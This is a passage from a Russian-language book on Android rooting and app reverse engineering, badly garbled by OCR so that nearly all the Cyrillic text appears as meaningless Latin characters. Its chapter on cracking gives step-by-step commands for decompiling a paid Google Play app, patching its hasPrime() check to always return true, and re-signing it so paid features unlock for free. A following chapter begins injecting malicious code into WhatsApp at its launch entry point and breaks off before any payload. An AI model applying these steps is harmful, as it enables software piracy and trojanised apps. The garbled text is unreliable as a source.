root-A0CTyN M BbIBOJIa COOTBETCTBYIOLLErO YBEIOMIIEHHs Ha 9KpaH (puc. 5.3).

PaHHue npuiiokeHUs 1Uis pyTHHra pa3MeIlad 3TH KOMIIOHEHTHI B pasfene system: OH-
HapHUK su B /system/bin (WJIM /system/xbin), a npwioxkeHue (Superuser.apk uim
SuperSU.apk) — B /system/app. Ho Obina B 3TOM moaxoae npoGieMa: oOHOBIIEHHE TPO-
WIKMBKU MO0 CTUpao MX, MO0 MPOCTO HE yCTaHAaBJIMBAIOCH (€M peub 00 HHKpEMEH-
TanbHOM OOHOBJIEHHH, KOTOpoe nosiBuaock B Android 5.0).

YT06bI pelinTh 3Ty npobiieMy, a Takxke oboith SELinux, Mewaromuid pyTUHry, paspa-
6oTunk root-uHcTpyMmeHTa SuperSU Chainfire pewunn pa3mewiarb 3TH KOMIOHEHTH! Ha
RAM-aucke, KOTOpBIH 3arpykaercss B ONepaTUBHYIO MaMsATh cpa3y nocie sapa. Oka3za-
JI0Ch, YTO €CJIM BHEAPUTH su npsAMo B RAM-aucK, TO MOXKHO OTHUM MaxoM OOOWTH Bce
3aliMTHbIE MexaHu3Mbl Android H, kpoMe Toro, obecneduTh HopMasbHyrO padoty OTA.
Takol cnoco® pyTuHra nony4yun Ha3zBaHHe systemless root (HeCHCTEMHBIH root) u crai
ocHoBHbIM B SuperSU nns ycrpoiicts, pabotatouux Ha Android Marshmallow u Nougat.

C Bbixoaom Android 7.0 cutyauus ycnoxsunachk. DOyHKUHSA OOBEPEHHOHN 3arpys3kH
(Verified Boot) crana obs3atenbHoi. Ctapblii METO MOJyYeHHs oot Yepe3 3CKalaluio
npuBuiernid B Android 7 nepecran paborars. [laxxe ecnu cmaptdoH ynaBanoch B3fo-
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MaTb, MCMOJIB3Ys 3KCIUIOWT, YCTPOHCTBO MOC/IE YCTaHOBKH root MpOCTO OTKa3biBalioch
3arpyskartbcs.

Ocrancs TONbKO OOMH HANEXHbIA croco® — pa3010KMpOBaTh 3arpy3ulK LITATHBIMH
cpeacTBaMu M ycTaHoBUTh SuperSU mnu Magisk. B 3Tom cnywae 3arpy3uuk npocro ot-
KiounT MexanusM Verified Boot.

Puc. 5.3. OkHo 3anpoca npas root

SuperSVU

SuperSU — paneko He nepBoe NpHUIOMKEHHE A MOAYHYEHHUS U YNpaBJEHHUs MpaBaMH Cy-
nepnons3oBarens. Camo Ha3zBaHue SuperSU — akponum ot Super Superuser; oHO npu-
w0 Ha cMeHy npuiaoxkeHHto Superuser (https://github.com/koush/Superuser) B nane-
koM 2013 roay.

[Mo3xe paspaborurk Chainfire, koTopblii 3aHUMancs (M 3aHUMaeTCd) NOAJAEPIKKOI
SuperSU, npopan npoekT HeBepoiATHO «MyTHO#» komnanuu Coding Code Mobile
Technology LLC (CCMT), 0 KOTOpoii H3BECTHO YyTb OOJbLIE, YEM HUYETO.

KomnaHus, xoropoit Tenepp npuHamiexut SuperSU, sBisercs «3aperncTpUpOBaHHBIM
areHToM» B aMepHKaHCKOM wTaTte [lenaBsp, KOTOpbIii YacTo BbIOMPAIOT MHOCTPaHHbIE
¢dhupMBbI 118 perucTpauru Hekoero nogodus oddwopa. Mcnonb3orars SuperSU ceroaHs
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MOXeT OBITb HE TOJNBKO OMacHO, HO HeuesiecooOpa3Ho. ['opa3no Gonee coBMecTUMOE ¢
coBpeMeHHbIMH BepcusaMH Android pemenne — 3to Magisk. [laHHoe pelieHde He TOJb-
KO MpenocTaBiseT root-A0CTyM, HO U MO3BOMAET yCTaHABIMBaTh Moaudukauud Android
B pexcuMe systemless.

Magisk

Kak u SuperSU, Magisk — 310 yTuauTa, KOTOpas NMaT4MT pas3fies boot LI MOJYHYEHHs
root B pexxume systemless. Kpome toro, Magisk no3posnser ycraHaBaMBaTh CHCTEMHbIE
MOZIBI, 3aMyCKaTh CKPUNTHl HA Pa3lHYHBIX 3TarnaX MOHTUPOBAHUA W MOAMEHATH (aiihl
(HanpuMep, build.prop) ellle 1O MOHTUPOBaHHs pasjena /data, MO3BONAET CKPbIBATh Ha-
nuyre root U Xposed OT pasnMuHBIX NpUIOXKeHHH U cepBucoB Tuma AndroidPay,
Samsung Pay, C6ep6Gank OnnaiiH, a Taroke crnokoiHo nony4ats OTA-0GHOBNEHHs CTO-
KOBBIX MPOLUHBOK.

CeronHs Migisk — 3T0 akTHYeCKH eJUHCTBEHHbIH OCTAaBLIMACA BapHaHT MOJNy4YEeHHs
npaB root Ha yctpoiictBe ¢ OC Android.

Moaupukauum

Android — onepauyoHHas CUCTEMa C OTKPBITHIM UCXOAHBIM KOAOM. A 3TO 3HAYHT, YTO
000 KenarolKril MOXeT cKayaTb UCXOOHUKM CUCTEMbI U U3MEHWTh €€ TaK, Kak eMy
3abnaropaccyauTcs. OTUM C yIOBOJLCTBUEM TMOJIB3YIOTCS MPOU3BOAUTENH CMapT(HOHOB,
yToObl CO34aTh CBOU COOCTBEHHBIE «YHHKAJIbHBIE) MPOLIMBKH Ha Oaze Android, a Taioke
JHTY3HACThl, 3aHUMAIOLLUECS Pa3BUTHEM TaK Ha3bIBa€MbIX KACTOMHBIX MPOLIMBOK, TAKHUX
kak LineageOS.

Ho ectb cnoco6 MoauduuMpoBaTh NnoBefeHHe cUCTEMBbI Ge3 HEOOXOAMMOCTH CO3JaHUs
cobcTBeHHOM mpowuBkHd Ha 6aze Android. 3To Xposed Framwork, koTopbiii BHeapsTCs
B CHCTEMY U MO3BOJISAET U3MEHHTH €€ YaCTH WIIX YaCTH CTOPOHHUX NMPUIIOKEHUH.

Xposed npeacraBnser co6oit MOAUGHUUMPOBAHHYIO BEPCHIO CEPBUCA app process, OTBET-
CTBEHHOTO 3a 3aITyCK BUPTyaJabHOW MalMHbl. MoauGHLMPOBAaHHBIH app process CHayana
3arpy>kaeT B MnamsaTh (ai XposedBridge.jar, COAEpHKALIMH MepexBaTYMK Java-MeTOOOB,
W JIMLIb NOCJIE HEr0 BCe OCTalbHBIE Java-KiiacChl. HepeXBaT‘lPlK BBICTYNAECT B KA4YECTBE
nocpeHUKa JUis JOOBIX BBLI3OBOB Java-MeTOJOB, WHHULIMHUPOBAHHBIX OPUTHHAJIbHBIM
NPUIOKEHHEM U B ClTyyae He0OXOAMMOCTH MepeHanpasiseT UX Kiaccy-o0paboTumKy.

[MocnenHuii kak pa3 ¥ 3aHUMaeTCcsA Te€M, UTO U3MEHSET NMoBeAeHue cucteMsl. Hanpumep,
MPHUJIOXKEHUA 4YaCTO HCTIONB3YIOT METO[ GetColor KJIacCa android.content.res.Resources
JUIA TIOJIyueHHs LBETOB, OMpENeNIeHHbIX B TeMe mpuioxkeHus. Ecnu knacc-o6pabotunk
MEPEXBATUT 3TOT METOJ W BEPHET APYroi Koa LiBeTa, HHTepdeiic MPHUIoXKEeHUs H3MEHHUT-
cs. Monudukauuu MoryT ObITh U OOnee CIIOKHBIMH, BIUIOTh A0 ryOokoi Moaudukanuu
noBeAeHUs ¥ QYHKLIMOHANBHOCTH MPHIIOKEHHUS.

B kxommiekte Xposed rotoBbIX Ki1accoB-00pabOTYMKOB HET, HO OH MO3BOJIAET JHOOOMY
pa3paboTuMKy pacrpocTpaHATh UX B BUAe oObI4YHBIX MakeToB APK, koTopsle monp3oBa-
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TeNb MOXKET YCTaHOBWTb M aKTHBHPOBaTb C MOMoUIbIO NMpunokeHus Xposed Manager.
Jpyrumu cioBaMH, ¢ MoMoIusio Xposed MOXKHO YCTaHaB/IUBaTh U YAAIATb MOAHU(HKaA-
e Android, kak oGBIYHBIE NPHIOKEHHS, €3 HEOOXOQUMOCTH YCTaHaBJIMBaTh MoAUU-
LMPOBAaHHYIO MPOLIMBKY.

B tepmuHonorun Xposed knacchl-o6paboTuMkiM Ha3biBalOTCs MonayasMu. Mx MoxHO
ckauaTh, ucnonb3ys Xposed Installer (https://forum.xda-developers.com/showthread.
php?t=3034811). B peno3uTopUH €CTb MpPAKTHYECKH BCE, YTO MOXET TNMOHaAO0OHMThCH,
Ha4yMHas OT TBHKOB MHTepdelica U 3akaHYMBass MOLY/IAMH, oTkmoyaowuMu SSL Pinning
M 3aMpeT Ha CHATHE CKPHMHILIOTA. B creqyrolux 4acTaX KHMIH Mbl paCCMOTPHUM HEKOTO-
pbI€ U3 3THX MOAY/EH.
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FrNABA 6

OcHosbr B3NOMaG

Hu onuH pasroBop o B3noMe U MoaM(UKaUUW MPUIOKEHHH He o6xoauTcs 6e3 Takux
CJIOB, Kak «au3acceMbiiepy, «aedarrepy, «popMaT UCTONHAEMbIX (hainoB» U Be3aecyllei
IDA Pro. OgHako B cnydae ¢ Android Bce HaMHOro mpoliue, ¥ 34ech A1 BCKPBITHA U
Aake BHEAPEHHUS KOJa B MPUIIOKEHHE COBCEM He 0053aTeIbHO UCMOB30BaTh BCE 3TH HH-
cTpyMeHThl. Ko MOXHO JIerko AeKOMMUIMpoBaTh 06paTHO B Java U MOAHGHLIMPOBATD,
MCIOJb3Ys Mapy MPOCTBIX MHCTPYMEHTOB M TEKCTOBBII PeAaKkTop.

MBI paccMOTpUM npoLiecC BCKpPBITHS W MoAM(HKaLMKU npunoxeHud ans Android. Ota
rnaBa — BBOJHASA, IO3TOMY HHUKAaKOro XapAKopa, Mbl pazbepeMcs B yCTPOHCTBE MaKeTOB
APK, Hayuumcs pa3bupate APK Ha wacTH, 1eKOMIUIMPOBATh €ro Ko, BHOCHTh MPaBKH
U cobuparb 06paTHO, a B Ka4yecTBE MpUMepa B3JIOMaeM OJHO MOIYJSAPHOE NMPHIOKEHHE
u3 Google Play.

Cnenyrowas rnasa 6yaer LEJMKOM MOCBALLIEHAa BHEIPEHHIO Oekaopa WM BHpyca B Yy-
KOe TIPUIIOXKEHHe. DTO YKe He NPOCTO NpaBKa HECKONBKUX CTPOK, a rtybokas Moaudu-
kauus. HakoHel, Mbl paccMoTpuM MeToasl 006¢dyckauuu 1 ee o6xona. Bee 6onbuie pas-
pabOTYMKOB HCMOMB3YIOT HETPUBHANBHYIO 06Gdyckaluio, YTOObl 3aMyTaTh peBEPCEpOB.
MBI pacriyTaeM HX KOJ, U ONATh )K€, BHECEM MPABKH B MPUIIOXKEHHE.

OtaenbHO OyaeT paccMOTpeH MpoLece JUHMHUYECKOTO aHATH3a NPUIOKEHHUS € TIOMOLLBIO
OTNaguuKa M crnocobbl BHEAPEHHUS KOAa B CTOPOHHHE MPUNOXEHHS C MOMOLIBIO HCTPY-
meHTa Frida.

B 3Tow 4actu kHuru aBTOp HasbiBaeT dusaccembnuposaHuem npouecc npeobpasoBaHun
H6ainTkoga B HU3KOypoBHeBbIN koA smali. K knaccuueckoMy ausaccembnuposaHuio B Ma-
LUMHHbIE WHCTPYKLMW 3TOT TEPMUH HE UMEET OTHOLLEHUSA.

Henaem nnatHoe 6ecnnaTHLIM

B 3To#t yacTH KHUI'M MBI paCCMOTPUM CJIEAYIOLLHE TEMBI:
O Hacrpotiika cpeasl peBepcepa;
O ®opmar daitnos APK;
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0O JekoMIUIATOpHI H AU3acceMOnepsl;

0O Moaudukanms Koa NpUIOKEHHUS.

CHapaxaemca

JIns BBIMONHEHHMs ONMHMCAHHBIX Aajee MPOLEXYP HaM NMOHAJOOMTCA pAA MHCTPYMEHTOB,
U TJIaBHBIH HMHCTpyMeHT — 3T0 Linux. [la, MHOTHEe W3 HYXHBIX MPHJIOXEHHH MOTyT
paborate U B Windows, HO ucnionie3oBath Linux 6yaet B pa3sl yaoOHee.

ITocne mHcTanasuuM Linux cpa3y ycTaHaBIMBaeM CpeACTBa pa3pabOTKH M BUPTYaIBHYIO
MaunHy Java. B Ubuntu 3170 MOXHO czenaTh ¢ moMoLbIO OJHOM KOMaHbI:

$ sudo apt-get install openjdk-7-jdk openjdk-8-jdk

Taxoxe Ham noHago6uTcs cpena paspaborku Android Studio, a TouHee, HECKOJIBKO HHCT-
PYMEHTOB, KOTOpPBIE€ BXOAT B €€ cocTaB. J11 Hayana yCTAaHOBUM HEOOXOJUMBIE 3aBHCH-
MOCTH:

$ sudo apt-get install 1ibc6:1386 libncurses5:i386 libstdc++6:1386 1ib32z1 libbz2-
1.0:1386

JHanee ckaunBaem ¢ caiita https://developer.android.com/studio 1 pacnakoBbsiBaeM ap-
xuB ¢ Android Studio. B nanpHefimem 1 6ymay npeanonarats, YTo OH YCTaHOBJIEH B KaTa-
JIOT ~/Android/android-studio BHYTPH AOMAIIHEr0 KaTaJlora Iojib30BaTels.

YcranasnueaeM ADB (Android Debug Bridge):
$ sudo apt-get install adb

Taioke HaM Hy>KHBI YETBIPE MHCTPYMEHTA JUISl PaCMaKOBKH M JEKOMIWIALUHM MPHIONKeE-

HUH:

O Apktool (https://ibotpeaches.github.io/Apktool/) — wBeiinapckuii apMeickuii HOX
IUISl pacriakoOBKH M 3aMaKOBKH NPUJIOKEHHIA;

O Jadx (https://github.com/skylot/jadx) — nekomnunsatop Gaiitkoma Dalvik B koa Ha
Java,

O Backsmali (https://github.com/JesusFreke/smali) — nu3zaccem6nep kopa Dalvik (ne
myraiTech, C HACTOALIUM acceMOIEpOM OH UMeeT Mailo 00LIero);

O Sign (https://github.com/appium/sign) — yTWiuTa /11 NOANKUCH NAKETOB.

Jna ynobcTra co3gagum B JoMalnHeM Kartanore nmoakaTtanor Android v ckayaem Bce MH-
CTPYMEHTHI B HETO:

cd ~

mkdir ~/Android && cd ~/Android

wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool 2.4.1.jar
wget https://github.com/skylot/jadx/releases/download/v1.1.0/jadx-1.1.0.zip
wget https://github.com/appium/sign/releases/download/1.0/sign-1.0.jar

$ wget https://bitbucket.org/JesusFreke/smali/downloads/baksmali-2.4.0.jar

$ mkdir jadx && cd jadx

$ unzip ../jadx-1.1.0.zip

W v »
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Jlo6aBuM B KOHell paiiia ~/.bashrc ClEIYIOLIME CTPOKH:

alias apktool='java -jar ~/Android/apktool 2.4.1.jar'

alias jadx-gui='~/Android/jadx/bin/jadx-gui'

alias baksmali='java -jar ~/Android/baksmali-2.4.0.jar'

alias sign='java -jar ~/Android/sign.jar’

alias javac='javac -classpath /home/jlm/Android/android-sdk-linux/platforms/
android-29/android.jar'

alias dx='/home/jlm/Android/android-sdk-linux/build-tools/29.0.1/dx’

OHH HYXHBI U TOr0, YTOObI BMECTO IJTMHHBIX M HEYAOOHBIX KOMaH] BpPOAE java -jar
~/Android/sign.jar MOXKHO ObLIO HaOpaTh NPOCTO sign.

Bckpuisaem noponertHoro

Tenepb HaM Hy)KHO HaMTH NPHIIOXKEHHE, KOTOPOE, BO-NIEPBHIX, HETPYAHO pa300parts,
a BO-BTOPBIX, HECET KaKylO-TO MOJIb3y U JOBOJBHO H3BECTHO. Sl He Oymy roBOpHTBH €ro
Ha3BaHHe, 4YToOBI He co3aaBaTh NpobieM aBTopy. CKaxy NMMIIb, YTO 3TO JOCTATOYHO M3-
BECTHOE NMpHIOKEHHUE, focTynHoe B Google Play.

BHauane npoiinemcs nmo APK 6e3 ucnonp3oBaHMs crieLManbHBIX WHCTPYMEHTOB. s
3TOro pa3nodyneM naker NpHIOKEHHA. ITO MOXHO clIeNlaTh AByMs criocobaMu:

1. UzBneus naket U3 ycrpoicraa ¢ nomousio ADB:

$ adb shell pm path mMa.nakeTa.npuioxeHns

OTa KOMaHJa MOKaXeT MyTh OO0 MNakeTa mnpuioxeHHs. CkayaTb €ro MOXKHO TaKo#
KOMaHOM:

$ adb pull nyrts/mo/nakera

88

. Hcnone3ys cepsuc APKPure (https://apkpure.com/). OTkpbiBaeM CTpaHULy NPHIIO-
xeHus B Play Store, xonupyem URL w3 aapecHo# cTpoku M BCTaBiIseM B CTPOKY IO-
ucka Ha APKPure. [lanee HaxxumaeM kHonky Download APK u xaemM okoHuaHus 3a-
IPY3KH.

Jns ynobcTBa nepedMeHyeM NakeT B application.apk:

# cd ~/Downloads
# mv Application apkpure.com.apk application.apk

PazapxuBupyeM ¢ moMouibio unzip:

# mkdir application; cd application
# unzip application.apk

Jla, APK — 310 06BIuHBIi apxuB ZIP, HO TeM He MeHee OH UMEET YETKYIO CTPYKTYpY:

O META-INF — karanor, coaepxauuii ¢ainbl MANIFEST.MF, CERT.MF W CERT.RSA. [lep-
Bbl€ /IBAa — CMHCOK BCeX (ailyloB MakeTra U MX KOHTPOJBHBIX CYyMM, MOCIEIHHH CO-
JEPXKUT OTKPBITBIA KIIOY pa3paboTuMka U CO3JaHHYIO C MOMOUIBIO 3aKPBITOro KIMoYa
urdpoByro noanuce ¢akina CERT.MF. OTH JaHHBIE HYXHBI, YTOOBI MPH YCTAHOBKE MNa-
KETa CHCTEMA CMOIJIA BBISAICHUTB, YTO MaKeT He Obl1 MOAMHULIMPOBAH U AEHCTBHUTEIb-
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HO CO3JaH €ro aBTOpoM. DTO BaXKHO, T. K., 0€3 BO3MOXKHOCTH noaaenath LUH(poByIo
MOANUCh MakeTa (MUl 3TOro0 HY)KEH 3aKpPBITbIH KITIOY), MOAUGHULHMPOBAHHBIA NaKeT
NpHIETCS NMOAMHUCHIBATH APYTHM KJIOUYOM.

O res — pecypchl NPUIOKEHHs. 34ech HAXOOATCS WKOHKa (mipmap), cTpoku (values),
u3obOpaxcenus (drawable), a Takke onucaHus uHTepdeiica mpunoxenus (layout). Bee
MX MOXXHO MOAHGHMLUMPOBaTh, YTOOB! U3MEHHUTb BHELUHUI BUO npunoxenus. [Ipasaa,
¢ainbl xml npuaeTcs cHavana «pa3katbh» — AMs YJIy4LIEHHS MPOM3BOANTENBHOCTH
OHH XpaHsATcs B OWHapHOM (opmarTe.

O classes.dex — kon mpuioxeHuss B gopme OaiiTkona BUpTyanbHoil MamuHel Dalvik.
[IpunoxeHuss MOryT coaepkaTh OMH WIH HECKONbKO TakMX (pailjioB B 3aBUCHMOCTH
ot obwero koauyectBa MeromoB. OauH daitn Dex Moxer BKIO4YaTh He Gonblue
65,536 meTo0OB.

O AndroidManifest.xml — maHudecT npuiokeHHs, ONUCHIBAIOLIMIA €ro CTPYKTYpY,
BKJIIOYass aKTMBHOCTH, CEPBUCHI, 0OPabOTYHKH MHTEHTOB M MosHOMouMs. OnsTh Xe,
B popmate 6MHapHoro XML.

Taioke makeT MOXET coaepxKaTb OPYTrHe KaTalord, HarnpuMep assets (JMoOble ¢aitbl,
BKJIIOYEHHBbIE pa3paboTUMKOM, B JaHHOM cly4ae — LIpUQTHl ¥ 6a3a AaHHBIX) M 1ib (Ha-
THUBHbIEe OUOIHMOTEKH, co3aaHHbIe ¢ Hcnoab3oBaHHeM Android NDK).

Usyuaem koa

Camo coboii pasymeeTcs, MpocTo pa3apXHBHUPOBATh MakKeT HeAOCTAaTOYHO. YToOBI pa3o-
6patbca B paboTe npuaoxeHus, He06X0AMMO AEKOMNMIMPOBATh (il classes.dex. s
3TOro Mbl Bocnonb3yemcs jadx-gui. 3amyckaem, BbIOMpaeM application.apk — W BHOHM
clieBa CMMCOK MakeToB java, BKIOYeHHbIX B APK. B naHHOM ciiyyae 310 criemyiouue
naketsl (puc. 6.1):

O android.support — oduumnanbHas Gubnuoreka Google, peanuzyrowas noamepxkKy
¢yHkuui HoBbIX BepcHit Android B crapeix (Hanpumep, 4ToObl momy4yuTh Material
Design B Android 4.1);

Pwuc. 6.1. NakeTol Java
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O com.google.android.gms — Google Mobile Services;
O com.nispok.snakbar — peanuzauus GUI-3nemenra snakbar;
O HecKonbKO APYTHX MaKETOB.

OCHOBHO#M KOA MpPUIOXKEHHS OOBIYHO CONEP)KUTCA B MaKeTe, MMA KOTOPOro COBMajaeT
C UMeHeM nakeTa npwioxeHus. OTKpbIBaeM ero — M BUAUM Golblie fecsATKa KaTaloros
M MHOXXECTBO MCXOAHHMKOB Java. Halua 3aaya — caenartb MPUIOKEHHE «OILUIAYEHHBIMY,
He miata 3a Hero. Ho kak HaWTH Hy>XHbIH ¢aiii, peanusylolnid NpoBepKy Ha oruiaty?
Cxopee Bcero, oH Oyzer B ¢aiine, conepxaiieM B uMeHd cnoBo «billing». TIpoiinem-
ci MO HCXOOHHKaM B TIOMCKaX HY)XHOro Ham ¢aiina W HaTbhikaemcs Ha ¢aiin
BaseBillingFragment B MoAkartayore (nakere) fragments (puc. 6.2).

Puc. 8.2. ®aiin BaseBlllingFragment

3T0 OYeHb MPOCTOH KIacc Java, B KOTOPOM €CTh HHTEPECHBIH MeTox:

protected boolean hasPrime() {
return this.mHasPrime;

}

Bce, uto OH aenae, — Bo3BpallaeT 3HaYEHHE MONA mHasPrime, OAHAKO MHTEPECEH OH HE
3THM, a CBOMM MMeHeM. [[es10 B TOM, YTO IUIaTHas (TO4Hee, OIUIa4yeHHas) Bepcus MoA-
OMBITHOTO MPUJIOXKEHHA Ha3biBaeTcs Prime, M oyeBHAHO, YyTo Meton hasPrime kak pa3 u
HY>XeH 1711 NPOBEPKH OIUIaThl NpHaoxKeHUa. UToObl NOATBEpAHTh CBOKO AOragKy, coxpa-
HUM aekomnunupoBaHHble ucxoaHUKH (File — Save all) B katanor 1 nonpobyem HaiTi
B HHUX BBI30BBI hasPrime (), KaK IOKa3aHO Ha puc. 6.3.

CoBnazeHWii HEMHOTO, OCHOBHOM «I0JIb30BATENb) hasPrime() — 3TO SettingsFragment,
T. €. ICXOAHMK, OTBEeYaloLHii 32 GopMHUPOBaHHE OKHA HAacCTpoeK. YuuThiBas, 4yTo Prime-
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BepCHUs OTAMYAeTCsA OT OecnaaTHOW MMEHHO TEM, UTO B Hell pa30iI0KHpOBaHbI NOMOJIHH-
TeJIbHBIE MOJI HACTPOEK, YxXe ceiuac Mbl MoxkeM ObiTb Ha 90% yBepeHbl, 4TO
hasPrime () — Hy>HBIH HaM MeToA. Ckopee BCEero, MIMEHHO C €ro NOMOLIbIO MPHI0KEHHE
BBISICHAET, KyIUleHa M Prime-Bepcus. Octanoch Tonbko yOeaUTbCs B 3TOM OKOHYaTe b-
HO, TIOJIMEHHB KOJl METO/la Ha CBOH.

Puc. 6.3. Mouck Bbi3oBoB hasPrime ()

BHocum npasku

MeTton hasPrime () O4€Hb MPOCT, OH BO3BpaLAET 3HAYEHUE MO mHasPrime, KOTOPOE HMe-
et Tin boolean. HeTpyaHo npeanonoxurs, 4To B ciyyae, eciid NpUiIoKeHHe OrulauyeHo,
hasPrime () BEPHET true, HHaue BepHeT false. Hawa 3apaua — caenarp tak, ytoObl MeTOA
BCEeraa BO3Bpallall true, Tak YToObl OCTalbHAs YacTh MPHIIOKEHHUS «yMaliay, 4To MpH-
JIO)KEHHE OTUIa4Y€HO U pa3biIoKMpoBaa JONONHUTENbHbIE PYHKLMH B OKHE HAaCTpOeK.

K coxanenuio, cienate 310 ¢ NOMOILBIO MPAMOH NPaBKH HCXOAHOTO KOJA HE MOTYyUYHTCH,
TIPHJIOKEHHE HENb3s CKOMITMIMPOBaTh 0oOpaTHO. OJHAKO HHUKTO HE 3ampeulaeT au3ac-
ceMOJIMpoBaTh KO/, BHECTH NPaBKH M coOpath ero obparHo. M kak pa3 3mech HaMm noHa-
npoburcs apktool. [luzaccemonupyem APK:

$ apktool d -r application.apk
B Tekyinem katanore MOSBUTCH MOAKATAJIOT application. OTKpbiBaeM ¢aitn application/

smali/com/app/fragments/BaseBillingFragment.smali H HaXOJMWM hasPrime, J€KJ1apauus
MeToza OyeT BhIrISAAETh Tak:

smali

.method protected hasPrime ()2
.locals 1

.prologue
.line 167
iget-boolean v0, p0, Lcom/app/fragments/BaseBillingFragment;->mHasPrime:Z

return v0
.end method

37O ¥ ecTh AU3acceMOIUPOBaHHbIN TUCTUHT. B Lenom 31ech Bcé TPHBUATBLHO:

O .method protected hasPrime()Z — OOBABNAET protected-MeToa, KOTOPBI BO3BpallaeT
3HauyeHue Tuna boolean (Z);



OcHoebl 83n10Ma 89

3 locals 1— rOBOPHUT BHPTyaJbHOH MallIMHE, YTO METOJ HCIOJIB3YET B CBoed pabote
OJIMH PErucTp (B JAHHOM Ciyyae OH OyIeT colep)kaTh BO3BpallaeMOe 3HaUYEHHUeE);

O .prologue U .line 167 — JUPEKTHUBBI, HEOOXOAUMBIE /I OTJIAAKH, Ha XO MCIOTHEHHA
HE BIIHAIOT;

O iget-boolean v0, p0 ... — MOMy4YaeT 3HauYeHHe NoJyis THNa boolean u 3anmuchIBaeT B pe-
THUCTP v0, PETHCTP p0 — 3TO HyJIEBOH MapaMeTp, OH BCera paBeH HMeHH kiiacca (this);

O return v0 — BO3BpaLIaeT 3HauYeHHe perucrpa vo;

O .end method — 3aKpbIBACT TCJIO METOA.

Tenepb MbI NOJDKHBI M3MEHMTD AAHHBIA METOA TakK, YTOOBI OH BO3BpalLal true He3aBHUCH-
MO OT 3HAYEHHs MOJIA mHasPrime. Mbl MOMJIM ObI cieNaTh 3TO BPYUHYIO, HO MpOILLE HarH-
caTh HOBBLIM MeTOJ Ha Java:

[ java

public class Test {
public boolean hasPrime () {
return true;

W npomycTuTh ero uepe3 kOMNUIATOp U aAu3accembnep. s 3Toro HyxHa yrunura dx,
BXOJALIas B KOMIUIEKT HHCTPYMEHTOB COOpPKH, KOTOpbIE MOXKHO YCTAHOBHTD C MCIOJB30-
BaHveM Android Studio. S mpeanonoxy, 4TO OH HaXOAMUTCA B KaTajore ~/Android/
android-sdk-linux/build-tools/29.0.2/dx (3T0 HHCTpyMeHTHI cbopku Android 10, npu nep-
BoM 3amycke Android Studio npeanoXXuUT ycTaHOBUTH UX CaMa):

$ javac Test.java
$ ~/Android/android-sdk-linux/build-tools/29.0.2/dx --dex --output=Test.dex Test.class
$ baksmali Test.dex

Ha Brixoae nonyyaem cnemyrowmui koa smali:

smali

.method protected hasPrime ()2
.registers 1
const v0, 1
return vO0

.end method

OH 00BsAB/IAET KOHCTAHTY v0 cO 3HaYeHHeM | u Bo3Bpawuaet ee (B Dalvik Tun boolean —
3TO int, KOTOPBIH MOXET UMETh 3HaueHHe | — true win 0 — false). Ocranoce TONBKO
BCTaBHTb 3TOT KOJl BMECTO OPUIHHAJILHOTO U coOpaTh nakeT oOpaTHO:

$ apktool b application
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ITakeT nossBUTCA B KaTajore application/dist. HepewmeHyeM €ro, YyTOObI HE 3anyTaThbCA.
$ mv application/dist/application.apk application-fake-hasPrime.apk
U noanyuiueM ¢ NoOMoUblO TECTOBOIO KiIKO4a:

$ sign application-fake-hasPrime.apk

B pe3ybTaTé B TEKYLIEM KaTajore nosABHUTCA q)aﬁ.ﬂ application-fake-hasPrime.s.apk.
OcraeTcs TONBKO 3aKHUHYTb €ro Ha KapTy namMfaTH W YCTAHOBHUTH, YAAJIMB NEPEIA 3THM
OPHIHHAJIBHOE NMPHJIOXKEHHE.



FrMMABA 7

BHeapsemca 8 uyxoe npunoxeHue

B s1oit rnaBe Mel BHeApHM koA B WhatsApp — MeranonyasipHbId MecceHKep, BXOIs-
wui B Ton-10 Bcex MarasMHOB NMPUITOXKEHHUH 3a BCE BpEMEHa M, KOHEYHO e, HepeaKo
CTAHOBSLUMMCA LENbIO XaKepoB, A00aBAIOIIMX B HEro camble pa3Hble 3/10BpeaHbIe
¢yHKkuMH. Tak 4TO MHCTPYKLHS MOTYUUTCs Gosee yeM Harss JHOM.

Nuwem Touky sxona

Kak u B mpouutelii pa3, uagem Ha apkpure.com, BOMBaeM B CTpOKY TMOMCKa ajapec
WhatsApp B Google Play u ckaunBaem nmaker APK. JIna ynoGcTBa nepeMMeHOBbIBaEM
€ro B whatsapp.apk ¥ NepeMeLliaeM B KaTajlor ~/tmp. Bcto paneHelyo paGoty mMbl 6yaem
BECTH B HEM.

Cnenyrowuii 1wiar — HalHTH Hauaydllee MECTO AJi BHeApeHUs 3noBpeaHoro koaa. Mo
00BEKTHBHBIM MPHYHHAM TaKOE MECTO — 3TO CaMO€ Hayaslo KOAa MPUIIOKEHHS, U eCliH
Obl MBI MMeNU Jeno ¢ oOBIYHOM «HACTONBHOMY) Bepcueit Java, To 310 Obln OBl MeTOX
main() OCHOBHOTO Kiacca mpuioxeHus. OaHako B Android ucronHeHue NpUNOXKEHHS
HauyMHaeTcs He C main(). PakTHYeCKH y 3aelHero codra BooOlue HET eIMHOW TOUKH
BXOJ1a, OHO COCTOMT U3 MHOXECTBA KOMITIOHEHTOB, KXKAbIA U3 KOTOPbIX MOXET MOJYyYHTh
ynpaBjeHUe NPH BO3HUKHOBEHHUH TOTO MM HHOTO COOBITHS.

Ecau Mpl XOTHM, 4TOOBI Hall KOA 3amycKajcs MpH ctapTe NpuiaokeHus ¢ Pabouero cto-
Na, HaM HY>XHO BCTaBHUTb €ro B KJIacc, MOJyYalolMH ynpaBjieHHe NPy BOZHUKHOBEHWH
coObITHA (ecM OBITH TOYHBIM, 3TO Ha3bIBAETCS «MHTEHT») android.intent.action.MAIN
KaTeropuvM android.intent.category.LAUNCHER. UTOOBI HalTH 3TOT Kjacc, MpUAeTCs paso-
6pate WhatsApp ¢ nomouusto apktool u npountaTs ¢daiin AndroidMani fest.xml (puc. 7.1).

$ apktool d whatsapp.apk
$ less whatsapp/AndroidManifest.xml

HckoMblil Klacc HOCUT MM com.whatsapp.Main. OTKpbIBaeM ~/tmp/whatsapp/smali/com/
whatsapp/Main.smali H MLIEM METOJ OnCreate (), MOKa3aHHbIA Ha puc. 7.2.
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Puc. 7.1. AndroidManifest xml

Puc. 7.2. Metog OnCreate()

D10 W ecTh UCKOMasi Touka Bxoaa. C 3TOro MeToJa HayWHaeTCsl UCMONHEHUE TPUIIOXKe-
HHA, KOraa oHo nony4vaer uHTeHT android.intent.action.MAIN, npyrumu cnosamu koraa
NoJb30BaTe/b TaMaeT Mo MKOHKE MPWIOXKEHUs nanbueM. B 3ToT Meroa Mbl OyneM BHe-
JpsaTh Haw payload.
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TTuwem payload

